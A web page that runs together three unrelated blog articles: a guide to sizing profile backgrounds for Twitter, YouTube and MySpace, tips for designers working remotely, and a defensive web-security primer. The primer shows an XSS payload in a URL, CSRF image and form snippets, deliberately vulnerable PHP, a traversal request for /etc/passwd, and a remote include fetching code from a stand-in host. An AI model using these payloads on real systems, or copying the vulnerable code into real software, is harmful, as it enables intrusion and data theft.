Dimensions: The column that contains your tweets and profile information will always take up about 760 pixels of screen real estate. What’s left for the background will be determined by the user’s monitor. Everyone viewing your profile will see it a little differently, depending on the resolution of their screen. A safe bet to ensure that your background will not be cut off or tiled at most resolutions is a 1680 x 1200 pixel image. The image resolution should be web standard 72 dpi.

Maximum File Size: 800 KB

Layout: Accounting for the 760 pixel center column, the space left over on either side will depend on the visitor’s resolution. The space at the top for the Twitter logo will remain constant at about 65 pixels, and a good rule of thumb is to leave about 200 pixels at the left for your design. This will accommodate most monitor resolutions.

Twitter aligns the background image to the top left, so it is important to focus your main content in that area as shown. The further to the left an element appears, the least likely it will be cut off on a low resolution monitor.

There are a few tools that may help you determine what your layout will look like at different resolutions. To quickly determine your own resolutions as a reference point, jump over to whatismyscreenresolution.com.

For FireFox users, the Web Developer add-on will resize your browser to fit common monitor resolutions so you can see what your layout might look like for other users.

Screen-resolution.com is also a handy tool for popping URLs into resolution-specific browers windows.

Design Tip: Don’t clutter your background with too much information. Because URLs are not clickable in a background, this space is better suited for logos, photos, or other clean graphic elements that express who you are. If you’re encouraging people to connect with you outside of Twitter, make sure the one URL in your profile links to your contact information.

Also, be sure to choose text and link colors that compliment your background.

How To Add It:

YouTube

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A branded YouTube channel is a great way to identify yourself to viewers when they land on your video pages. Here are some examples of great YouTube channel designs:

Dimensions: YouTube channel backgrounds work similarly to Twitter backgrounds in that they must account for the fixed width of the channel content. The area that displays your videos and profile information is 960 pixels wide. Note that the top area that displays the YouTube logo and search is not taken into account with regard to your background. Your background image will begin below the white YouTube bar, so all content should be started near the top of your image.

Like Twitter, screen real estate depends on monitor resolution. A good image size to work with is 2000 x 2200 pixels total.

Maximum File Size: 256 KB

Layout: It is important to understand that YouTube will center your background image behind your channel content. This means that your important image content should appear just to the left and right of the 960 pixel center column. It also means that people with large or widescreen monitors will see much more of your image stretching out to the right and left of their screen. This is why it’s good to use a very wide image (2000 pixels, in this example).

Whereas your Twitter background should be focused as far to the left as possible, the content in your YouTube background should be as close to the central 960 pixel column as possible without going behind it. Again, test different resolutions with the tools above to see where viewers might be cropping your image and adjust accordingly to account for variation.

Design Tip: Because widescreen monitors may view much more of your image on the left and right, it may be useful to incorporate a fade to a solid color on each end. Then, make the page background that same color to avoid an unsightly “break” in the design.

Also, be sure to implement complimentary box and text colors.

How To Add It:

MySpace

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Though MySpace has fallen out of vogue in recent years, it is still a viable platform for younger users and a destination for many bands and music sharers.

If you’re looking to make a statement with your MySpace page, a well-tailored background could do the trick.

Here are some impressive ones:

Dimensions: MySpace’s “Profile 2.0″ customization is actually very flexible and allows a few options. You can change your content size between 960 pixels, 750 pixels, or 100% (which wipes out the background entirely). Decide which layout you like best and build your background to match. The full size should account for large monitors, so something in the neighborhood of 2000 x 2200 pixels should work here as well.

Maximum File Size: Any, but best to keep it under 500K for quick load times.

File hosting: Unlike Twitter and YouTube, Myspace will not host your background file, but simply reference it from a URL. If you don’t own web space, there are plenty of places you can host an image for free, including PhotoBucket and ImageShack. Upload your image to one of these sites and paste the image URL into MySpace’s layout editor.

Layout: Again, MySpace is surprisingly flexible, and the advanced layout editor allows you to align your background against any quadrant of the screen, or center it. It’s up to you how you want to approach the layout. Simply account for your content column (750 or 960 pixels) and design around it. Then position your image accordingly. The best designs fit their graphic elements snugly against the content column so that they’ll be visible at any resolution.

How To Add It:

Others

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The two other big dogs of social networking, Facebook and LinkedIn, don’t offer background customization options. While this may be a disappointment to some, many would argue that the clean, uniform look of these sites has contributed to their success.

Do you have any tips, tricks, or resources you use when designing a custom profile? Share them in the comments below.

Webdesigner Depot is one of the most popular web design blogs in the world. It covers tutorials, design trends, blogging as well as inspirational posts. It’s run by Walter Apai, a web designer from Vancouver, Canada. The blog is a great resource for both beginners and advanced designers looking to expand and improve their knowledge. The site is visited by Fortune 500 companies and is used as a reference by many design schools. Visited by almost 2 million readers per month, WDD is a prime resource for both graphic and web designers. Visit WDD at webdesignerdepot.com. Follow on Twitter: twitter.com/designerdepot. Subscribe to RSS feed: webdesignerdepot.com/rss.htm.

More social media resources from Mashable:

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- 85+ of the Best Twitterers Designers Should Follow
– 100 Great Resources for Design Inspiration
– 5 Ways Social Media Changed Fashion in 2009
– 5 Tips for Building Lasting Online Friendships
– Top 5 Must-Read Social Media Books
– Social Media Can Change The World Through Common Ground

Image courtesy of iStockphoto, skodonnell

Tags: customization, design, how to, myspace, Photoshop, social media, twitter, twitter background, youtube

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Source: Giorgio Montersino

However, for some, increasing income isn’t the direct goal. Ever since Tim Ferriss’s 4 Hour Workweek hit the shelves, more and more digital professionals are giving up the endless quest for wealth and are beginning to embrace new lifestyle ideas. Designers, while occasionally plagued by ultra-complex workspaces, are some of the most non-location dependent digital workers around.

If you want to make long-term trips out of the office less of a novelty and much more of a regular occurrence, these strategies, tips, and methods are sure to help.

Managing clients remotely

What seems to be the hardest step about taking your design business mobile is actually one of the easiest.

Most clients, save for the occasional high-maintenance monster, are easy to keep in touch with, even if you don’t have a direct internet connection. Checking your emails once or twice per day – once at noon and once at night seems to work well – allows you to respond to urgent client enquiries, all the while giving you time to explore.

Source: Ben Dodson

Of course, there are going to be times when you need complete connectivity for design work and client management. Instead of fretting and spending all day in an internet cafe, use technology to solve the problem.

In most countries, McDonald’s and Starbucks are a great source of free internet, and in countries with low mobile data costs, remote Edge and 3G access allow you to tether your phone and access the internet wherever there’s a signal.

Managing your work remotely

Mobile design isn’t a process of technology addition, but one of technology elimination. You’re not going to be able to replicate your dual monitor office on the road, but remote designers shouldn’t be aiming for that.

Instead, focus on developing a remote office setup that allows you to perform most design tasks.

What about major tasks that require a full design office? There are several ways to tackle that problem.

Outsource

If you work within a design team or organization, cover tasks that can easily be managed remotely and allow the rest of your team to tackle tasks that are only possible in a physical office.

Split your projects between remote and non-remote

During the week that you’re away from the office, cover tasks that are easily performed from a notebook. Then, work on the more complex tasks once you’re back home.

Design your workload so that non-remote design is minimized

This requires long-term client filtering and strategy, but is one of the best options for long-term remote designers.

Source: Alex Steffler

Fine-tuning your remote income streams

There’s an overwhelming focus on now, especially amongst digital workers. Instead of focusing on the long-term potential of our talents, we squander them on short-term incentives and busywork. Freeing yourself up for remote design means fine-tuning your income and possibly even creating long-term passive design income. Here are some tactics that have been effective.

Turn down more clients

Every designer knows that some clients just aren’t worth the headache. From client entitlement complexes to limitless revisions, some design projects end up as complete disasters. Minimize their potential to interfere with remote work by turning them down.

Prioritize long-term projects

It’s much easier to manage one project remotely than it is to manage ten. Remote designers should prioritize single long-term projects before multiple short-term ones.

Focus on the most profitable aspects of your design business

If you work independently, cutting the fat away from your income is a great way to free up time for traveling and exploration. With a couple months of monitoring and analysis, it’s fairly easy to see which clients bring in the highest per-hour or per-day income for you.

Prioritize your clients

Don’t necessarily turn down the others – their business can be valuable – but focus intensely on the most profitable aspects of your design business, and allow them to expand while smaller, less profitable aspects shrink.

Add stock designs, blog themes, and multi-purchase designs to your portfolio

Design doesn’t have to operate on a service model. A lot of businesses require a web presence that’s relatively cookie cutter; a simple five-page template, some great web copy, and a domain name is enough for them.

Cater to markets that require no direct input by creating per-sale products instead of providing a direct design service. What do you think makes more: a home workout DVD series or a weekly class at the local gym? Producing design products requires minimal input, and can generate long-term passive income.

The remote designer’s office

Source: Mackenzie Kosut

Simplicity wins. As much as designers have grown accustomed to flexibility and power at home, the priorities change when you’re constantly on the move. A mobile design office should be based on portability – ultra-lightweight equipment, technology, and devices – and simplicity. That means discarding 17 inch design-focused laptops, and instead embracing ultra-portable mini-notebooks.

For Mac designers, it’s best to stick with the Macbook Pro range of notebooks. While the Macbook Air wins in terms of size, the lack of features and processing power make it a pretty poor design rig. The 13 inch Macbook Pro is cheaper, has a wider range of features, and more power for late-night Photoshop sessions.

PC designers have a lot more options to choose from. 12 inch notebooks are great for portability, but they come at a price. Just like that Macbook Air isn’t ideal for long-term remote design, most ultra-portable PC notebooks simply don’t have enough power or screen space for practical design. Aim for 13 inches or more of screen size, along with a decent amount of processing power and memory. Lenovo has some great options for long battery life, and Dell is beginning to offer good laptops for long-term travel.

Making it happen

Most designers can’t just run out their door and expect to work from anywhere straight away. Taking your income mobile requires some planning and changes to the way you handle clients’ business. Take small steps first – three days of work inside the office, and two out – and gradually shift to more remote work as you and your business adjust.

Designers and developers have some truly awesome opportunities to enjoy their lifestyle and earn great money, and there’s nothing worse than squandering that chance through poor planning. Take it slow, plan carefully, and reap the rewards of an online career.

Related Content

• 10 Useful Gadgets for Mobile Computing
• How to Start a Freelance Company
• How to Get Your Ideas Across to Clients

About the Author

Mathew Carpenter is a 17-year-old business owner and entrepreneur from Sydney, Australia. Mathew is currently running Tisme, a design agency that is quickly becoming one of Australia’s top website design and development firms. Follow Mathew on Twitter: @matcarpenter

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Website security is an interesting topic and should be high on the radar of anyone who has a Web presence under their control. Ineffective Web security leads to all of the things that make us hate the Web: spam, viruses, identity theft, to name a few.

The problem with Web security is that, as important as it is, it is also very complex. I am quite sure that some of you reading this are already part of an network of attack computers and that your servers are sending out spam messages without you even knowing it. Your emails and passwords have been harvested and resold to people who think you need either a new watch, a male enhancement product or a cheap mortgage. Fact is, you are part of the problem and don’t know what you did to cause it.

The reason is that security experts don’t like to talk too much in public about what they do and where the issues lie; and sadly enough, they can also come across as arrogant in their views. This could be the result of people not taking security seriously and not following the most basic advice, such as using passwords that are clever, not “password” or “letmein.”

Another reason is those tutorials that show you how to “do something in five minutes” and conveniently neglect to mention the security implications of their advice. If it sounds too easy to be true, it probably is. A perfect example of this is PHP solutions that use a file for data storage and ask you to make it writable to the world. This is easy to implement, but it means that any spammer can write to this file.

Disclaimer: the things we’ll talk about in this article today won’t make you a security expert, just as buying a Swiss Army knife won’t make you a locksmith or buying a whip won’t make you a lion tamer. The purpose here is to raise awareness and perhaps make some of that security mumbo-jumbo a bit more understandable to you.

An Interesting Report On Web Security

Web security company Cenzic released a report detailing trends and numbers related to Web security for the first and second quarters of 2009. A PDF of the report is available, and the numbers are telling:

PDF: Web Vulnerabilities Q1/Q2 2009.

Among the most serious vulnerabilities were path traversal, cross-site scripting, cross-site request forgery and SQL injection. Unmentioned are a newer threat, clickjacking, and a user interface issue called phishing. You may have to deal with all of these as a Web developer if you touch PHP and HTML, CSS and JavaScript. Even if you don’t use PHP, you could still cause a lot of problems. Even if you don’t touch code and simply design, you could be a great asset in this area. You could help make the Web safer by making security issues understandable to your users.

Let’s go through all of these things and explain what they are and do. The first thing you need to know, though, is how URIs work.

URIs: The Main Way To Attack A Web Service

The address of any document (i.e. file on the Internet) is its Uniform Resource Identifier (URI). This is what you enter in the browser bar to access the document and what you embed into code to point to the document. For example, my website address is http://icant.co.uk, and the document you see when you open it in a browser is http://icant.co.uk/index.php (the server automatically redirects to that document). The logo image resides at the URI http://icant.co.uk/iconslogo.png, and the image of me pointing at you is on a totally different server and has the URI http://farm4.static.flickr.com/3172/3041842192_5b51468648.jpg.

All of these URIs are okay for you to access. Some URIs, though, contain information that should not be accessible to the outside world. For example, the /etc/password folder on a server contains password and user information that should not leak to the Internet.

Every URI can also contain parameters. These are instructions you can send to the script located at that URI and that are appended to the URI starting with a ? and separated by ampersands. If you want to search for puppies on Google, for example, you can use the URI http://www.google.com/search?q=puppies, and if you want to begin your search after the first 50 results, you can use http://www.google.com/search?q=puppies&start=50.

Normally, these parameters are not entered by end users but rather come from the HTML interface. If you look at the source code of the Google home page and get rid of the painful bits, you end up with the following form:

<form name="f" action="/search">
  <input type="hidden" value="en" name="hl"/>
  <input type="hidden" value="hp" name="source"/>
  <input name="q"/>
  <input type="submit" name="btnG"/>
  <input type="submit" name="btnI"/>
  <input type="hidden" name="aq"/>
  <input type="hidden" name="oq"/>
  <input type="hidden" name="aqi"/>
</form>

So in essence, this form sends the content of all of these fields to the URI search and appends them to that URI. This is how you end up with this,

http://www.google.com/search?hl=en&source=hp&q=puppies&aq=f&oq=&aqi=

when you submit the form. Notice, for instance, that I have no btnG parameter because I used the Enter key to submit the form.

On the search results page, you can see the pagination links at the bottom (the 1 2 3 and so on under the Gooooooogle logo), and you can see that these links send the same data to the URI and add a start parameter:

<a href="/search?hl=en&amp;q=puppies&amp;start=40&amp;sa=N">5</a>

You can send parameters to a script with the URI via form fields, links or any other thing in HTML that contains a URI: images, link elements, frames, anything that can take an href or src attribute. If an attacker can override any of these or add a new image to your HTML without you knowing it, they could point to their own URIs and send their own parameters.

You have to be careful with what your parameters contain and where they point to, which could be someone else’s server (to get more code) or sections of your own server that you don’t want to show or send to another server.

Different Types Of Attacks. What Do These Words Mean?

Let’s quickly go through the different items mentioned in the graph above, explaining what they are and what they mean.

SQL Injection

With an SQL injection, an attacker accesses your database by sending an SQL command to your server via the URI or form fields. This is easily worked around by sanitizing, but neglecting to do so can be fatal for your website, as the following XKCD comic shows:

XKCD comic showing how SQL injection would delete a database.

Cross-Site Scripting (XSS)

Cross-site scripting is probably the biggest and most common problem. With it, an attacker injects JavaScript code into your document by adding it to the end of the URI as a parameter or in a form field.

Say you want to be cool and allow visitors to customize certain colors on your page. You could do this easily in PHP:

<?php
  // predefine colors to use
  $color = 'white';
  $background = 'black';
  // if there is a parameter called color, use that one
  if(isset($_GET['color'])){
    $color = $_GET['color'];
  }
  // if there is a parameter called background, use that one
  if(isset($_GET['background'])){
    $background = $_GET['background'];
  }
?>

<style type="text/css" media="screen">
  #intro{
    /* color is set by PHP */
    color:<?php echo $color;?>;
    /* background is set by PHP */
    background:<?php echo $background;?>;
    font-family:helvetica,arial,sans-serif;
    font-size:200%;
    padding:10px;
  }
</style>

<p id="intro">Cool intro block, customizable, too!</p>

So far, everything’s kosher, and we’re not even using inline styles! If you save this now as test.php and call it on your server in your browser as the URI http://example.com/test.php, you will get a text intro block that is black on white. The $_GET[] variables come from the URI as parameters, and because they are not set, nothing changes. If you want the colors to be red on pink, you can do this: http://example.com/test.php?color=red&background=pink.

But because you allow any value for the variables, an attacker could send the following:

http://example.com/test.php?color=green&background=</style><script>alert(String.fromCharCode(88,83,83))</script>

This would effectively close the style block prematurely and add a script to the document. In this case, all we would be doing is writing out the word XSS, but we could do anything that a JavaScript is allowed to do. You can see the results in the following screenshot:

Large view

Once you have successfully injected JavaScript, you will be able to read out cookies; open forms that ask the user to enter their passwords or credit card details; execute viruses, worms and “drive-by downloads”; the lot. The reason is that JavaScript is not bound by any security model; any script on the page has the same rights, no matter which server it has come from. This is a big security problem with JavaScript and is something clever people are working on.

XSS is a very common problem. Websites such as XSSED.org have a field day showing the world just how many websites are vulnerable:

The remedy for XSS is to be very paranoid about anything that comes via forms or the URI. You also need to be sure that your PHP is set up properly (we’ll come back to some ways to test for that and to write good code later on).

Path Traversal

Allowing for path or directory traversal on your server is an amazingly bad idea. You would be allowing people to list the folders on your server and to navigate from folder to folder. This allows attackers to go to folders with sensitive information or website functionality and have some fun. The following screenshot is of me accessing the database of a sandwich company, sending emails from their server and reading the order logs:

Large view

I was able to get all of this information simply by accessing the cgi-bin folder, which was unprotected from being listed. So, instead of going to http://example.com, I went to http://example.com/cgi-bin/ in my browser. I knew something was wrong on their big Flash website when I clicked on the menu. It popped up in a new window and had a URI like

http://www.example.com/cgi/food_db/db.cgi?db=default&uid=default&Category=Sandwiches&Subcategory=Sandwiches&Product=Chicken%20and%20Bacon&Soup_size=&Drinks_milk_type=&ww=on&view_records=yes

which gave me all the information I needed to play around.

The other problem of allowing folders to be listed is that search engines will index your information, allowing anyone to use Google as a hacking tool. As servers create a page with a title and a headline of the folder name, these are indexed by Google.

You could search for, say, “index of /ebooks” to find electronic books online or “index of /photos” to find photos. To see search tests such as this one, check out the Google a Dream Come True article, which listed many of them in 2003(!).

This method of searching worked much better in the past, by the way: not because people protect their servers better now, but because spammers who offer fake pirated products realize that people do these searches and fake it now to optimize their own websites’ search engine rankings.

Cross-Site Request Forgery

Cross-site request forgery (CSRF) exploits browsers and websites that allow for functionality to be called without really knowing that an actual user initiated it. Say you have a form on your website http://example.com that works with GET and sends things to your database:

<form method="get" action="add_to_db.php">
  <div>
    <label for="name">Name</label>
    <input type="text" id="name" name="name">
  </div>
  <div>
    <label for="email">email</label>
    <input type="text" id="email" name="email">
  </div>
  <div>
    <label for="comment">Comment</label>
    <textarea id="comment" name="comment"></textarea>
  </div>
  <div><input type="submit" value="tell me more"></div>
</form>

Forms can be sent by two methods: GET adds all of the parameters to the URI visibly in the address bar, whereas POST sends them “under the hood.” POST also allows you to send much more data. This is a simplification but all you need to know for now.

If the script that adds to the database doesn’t check that the form was really sent from your server, I could add an image to any website by doing this:

<img src="http://example.com/add_to_db.php?
name=cheap%20rolex&email=susan@hotchicks.com&comment=mortgage%20help" width="1" height="1">

Anybody coming to my website would now be putting another comment into your database. I could use an image or CSS link or script or anything that allows for a URI to be defined and loaded by a browser when the HTML renders. In CSS, this could be a background image.

CSRF becomes even more dangerous when you are logged into and authenticated by a particular system. An image in any other tab in your browser could execute a money transfer, read your emails and send them on and many other evil things.

A really interesting case of CSRF (albeit an innocent one) occurred in 2006, when Google released its now discontinued Web accelerator tool (GWA). The idea was to pre-fetch websites that were linked to from the current document, thus making surfing faster. All well and good… until you ended up with delete links in websites that worked like this:

<a href="/app/delete_entry.php?id=12">delete</a>

Because some applications did not check if this was an initiated deletion or an attempt of GWA to pre-load the page, the tool deleted whole blogs and product databases. Google did nothing wrong, but the community learned a lot about CSRF that day.

Now, you might suppose that moving your forms from GET to POST would make them safe, right? Partially, yes, but an attacker could still use a form and trick people into clicking a button to make the request:

<form method="post" action="add_to_db.php">
  <div>
    <input type="hidden" name="name" value="bob">
    <input type="hidden" name="email" value="bob@experts.com">
    <input type="hidden" name="comment"
           value="awesome article, buy cialis now!">
  <input type="submit" value="see beautiful kittens now!">
  </div>
</form>

You could even use JavaScript to automatically send the form or a script on another server to do the POST request from the back-end. There are many ways to exploit CSRF, and protecting against it is not that hard.

Remote File Inclusion (RFI)

With Remote file inclusion or code injection, an attacker uses a flaw in your website to inject code from another server to run on yours. It is in the same family as XSS but much more problematic because you have full access to your server (with JavaScript, you can steal cookies and call other code, but you can’t access the file system without resorting to tricks with Flash or Java Applets).

Any code injected to your server with an untested variable and include() command, for example, could run server commands: upload and download and transfer data to other servers, check your server passwords and user names, anything you can do on the command line via PHP or ASP if your server allows for it.

This is probably the worst that can happen to your server, because with command line access, I could turn it into an attack machine for a server network attack, silently listen to everything you and your users do on the server and send it to another Web resource, store information and viruses for distribution, inject spam links, you name it.

The workaround is to turn off globals and to never ever assemble a URI from parameter or form data. (More on that later in the PHP section of the tips.)

Phishing

Phishing is the technique of fooling people into entering information into a bad website. You show end users an interface that looks legit (for a bank or what have you) but that in reality sends their information to your database. Because phishing is a felony, I cannot show you a demo.

The trick with phishing is to make the form really look like it comes from a website you trust. You have probably gotten emails saying that your “XYZ bank account” has been compromised, and you know for certain that this isn’t the case because you have no account with that bank and may not have even heard of it. This is a wild-guess phishing attempt, which is not usually effective.

On the Web, though, an attacker can perform a JavaScript trick to find out where you’ve been. As Jeremiah Grossman showed some years ago, you can use JavaScript to determine the state of a link on the page. Because the colors of visited and unvisited links are different, we can use this technique to figure which websites a user has been to and then display the appropriate logo above the form. This demo shows this quite effectively. Funny enough, you can also use this trick for good; for example, by showing people only the buttons of social media websites they use.

Clickjacking

Clickjacking is a terribly clever way to use CSS and inline frames to trick users into clicking something without knowing it. Probably the most famous example of this was the “Don’t click me” exploit of Twitter a few months ago. All of a sudden, Twitter was full of messages pointing to a website with a button that read “Don’t click me”. Here is an examples for Jason Kottke’s stream:

Twitter’s “Don’t Click” prank, explained

Human nature being what it is, many people clicked the button, which seemingly did nothing. What it actually did, though, was put your Twitter home page on top of the button as a frame, with an opacity of 0 in the CSS. The update field was pre-set with the tweet pointing to the page. The following screenshot makes this obvious, with the opacity set here to 0.5:

By clickjacking, you can make end users do things without knowing it. Every action on a website that can be performed with a simple click can be exploited with this trick.

Clickjacking is a massive problem because it is done via CSS, not a script. Unless browsers block frames from having an opacity of 0, there is no simple workaround. The main counter-measure people take is to disallow embedding in frames using JavaScript. However, with JavaScript off, clickjacking still works.

Basic Ways To Increase Web Security

Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.

Keep Code Up to Date

There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.

Don’t Stay Logged In, and Don’t Entice Others to Either

Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don’t mean to or aren’t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect.

In my perfect world, no form has a “Keep me logged in” option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).

Use Clever Passwords, and Entice Users to Do the Same

Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.

There are two ways to crack a password (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter.

Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be Sh3rl0ckW4t50n or b4sk3rv!ll3. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, “I like to buy food for my dog and to walk with it” would be Il2bffmda2wwi or even Il2bffmd&2wwi.

So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like “password” or the not-much-safer “password1.” Recently, a list of passwords banned by Twitter leaked onto the Web, shown here as the full code. This is a good idea (the list, that is, not the leak).

What To Do On Your Server

Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.

Turn Off Folder Listing

As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:

1. Create a new folder on the server; for example, pathtest.
2. Add some files to the folder. But do not add index.html, index.php, default.aspx or whatever else your server uses as the default file name.
3. Check the folder in your browser; for example, by going to http://example.com/pathtest/
4. If you can see a listing, contact your server admin to turn that off!

Harden Your PHP

If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea.

You can easily test if globals are enabled:

1. Create a new file named test.php.
2. Add the following code to it:

   <?php echo "*".$ouch.'*';?>

3. Upload the file to your server.
4. Browse to the file, and send a parameter called ouch; for example: http://example.com/test.php?ouch=that+hurts
5. If your browser shows “*that hurts*”, then your server has globals registered.
6. Contact your server admin to get this fixed!

Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don’t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:

if($_POST['username'] == 'muppet' &&
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do
}

If this is checkuser.php and global registering is on, then an attacker could call this in the browser as http://example.com/checkuser.php?authenticated=true and could work around the whole user checking; his authentication as $_GET['authenticated'] automatically turns into $authenticated.

Turn Off Error Messages

A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers.

Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating “File XYZ could not be found” were one of the first XSS attack opportunities, because you could look for a file named <script>alert(document.cookie),</script>.

Automatically Checking PHP for Security Issues

Uploading PHPSecInfo to a folder is a pretty handy way to perform a quick audit of your PHP server’s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed.

But never leave this on a live server because it gives attackers a lot of details about your set-up!

PHPSecInfo gives you detailed security information about your PHP setup.

What To Do To Your Code

Because you likely do not have much to do with your server let’s focus on things you do have full control of.

HTML

HTML is pretty safe. It is simply converted into text—no interaction with the server or calculations—so not much can go wrong. That said, you should always use HTML for what it’s for:

• HTML structures your content.
  HTML is not a database to store information. The reason it is not is because you cannot rely on HTML content to stay unchanged. Anyone could use browser debugging tools to mess around with your HTML and change the content. So you run into security issues with JavaScript solutions that rely on data in the HTML and don’t check the server for what that data is allowed to be.
• HTML is fully visible.
  Don’t use comments in the HTML to store sensitive information, and don’t comment out sections of a page that are not ready yet but that point to parts of an application that are in progress.
• Hiding things doesn’t make them go away.
  Even if you hide information with CSS or JavaScript, some people can get it anyway. HTML is not there to give your application functionality; that should always happen on the server.

A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:

<select name="class">
  <option value="ec">Economy</option>
  <option value="ecp">Economy Plus</option>
  <!--
  <option value="bu">Business</option>
  <option value="fi">First</option>
  -->
</select>

The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use FireBug to add a new option to the form, select the value you wanted and send it off.

CSS

CSS is not really capable of doing much to the document and cannot access the server… for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the @import property for other style sheets.

Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it.

CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now.

Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.

JavaScript

JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:

• Create slicker interfaces (e.g. auto-complete, asynchronous uploading).
• Warn users about flawed entries (password strength, for instance).
• Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)
• Create visual effects that cannot be done safely with CSS (animation, menus, etc.)

JavaScript is very powerful, though, which also means that it is a security issue:

• JavaScript gives you full access to the document and allows you to post data to the Internet.
• You can read cookies and send them elsewhere.
• JavaScript is also fully readable by anyone using a browser.
• Any JavaScript on the page has the same rights as the others, regardless of where it came from. If you can inject a script via XSS, it can do and access whatever the other scripts can.

This means you should not try to do any of the following in JavaScript:

• Store sensitive information (e.g. credit card numbers, any real user data).
• Store cookies containing session data.
• Try to protect content (e.g. right-click scripts, email obfuscation).
• Replace your server or save on server traffic without a fallback.
• Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.
• Trust any JavaScript that does not come from your server or a similar trusted source.
• Trust anything that comes from the URI, HTML or form fields. All of these can be manipulated by attackers after the page has loaded. If you use document.write() on unfiltered data, you expose yourself to XSS attacks.

In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.

PHP (or Any Server-Side Language)

Here be dragons! The server-side language is where you can really mess up if you don’t know what you’re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page.

There are two ways to deal with this: whitelisting and proper filtering.

Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don’t use information that gets sent through as the output; rather, just use it in conditions or as lookups.

Let’s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in about-us.php, contact.php, clients.php, portfolio.php, index.php and partners.php.

The amazingly bad way to do this is probably the way you see done in many tutorials: a file called something like template.php, which takes a page parameter with the file name.

The template then normally contains something like this:

<?php include($_GET['page']);?>

If you call http://example.com/template.php?page=about-us.php, this would load the “About Us” document and include it in the template where the code is located.

It would also allow someone to check out all of the other interesting things on your server. For example, http://example.com/template.php?page=../../../../../../../../etc/passwd%00 or the like would allow an attacker to read your passwd file.

If your server allows for remote files with include(), you could also inject a file from another server, like http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data.

In short: never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an href or src in the HTML. Instead, use pointers:

<?php
$sites = array(
  'about'=>'about-us.php',
  'contact'=>'contact.php',
  'clients'=>'clients.php',
  'portfolio'=>'portfolio.php',
  'home'=>'index.php',
  'partners'=>'partners.php'
);
if( isset($_GET['page']) &&
    isset($sites[$_GET['page']]) &&
    file_exists($sites[$_GET['page']]) ){
      include($sites[$_GET['page']]);
} else {
  echo 'This page does not exist on this system.';
}
?>

This way, the parameters become not a file name but a word. So, http://example.com/template.php?page=about would include about-us.php, http://example.com/template.php?page=home would include index.php and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit.

Also, notice how defensive the script is. It checks if a page parameter has been sent; then it checks if an entry for this value exists in the sites array; then it checks if the file exist; and then, and only then, it includes it. Good code does that… which also means it can be a bit bigger than expected. That’s not exactly “Build your own PHP templating system in 20 lines of code!” But it’s much better for the Web as a whole.

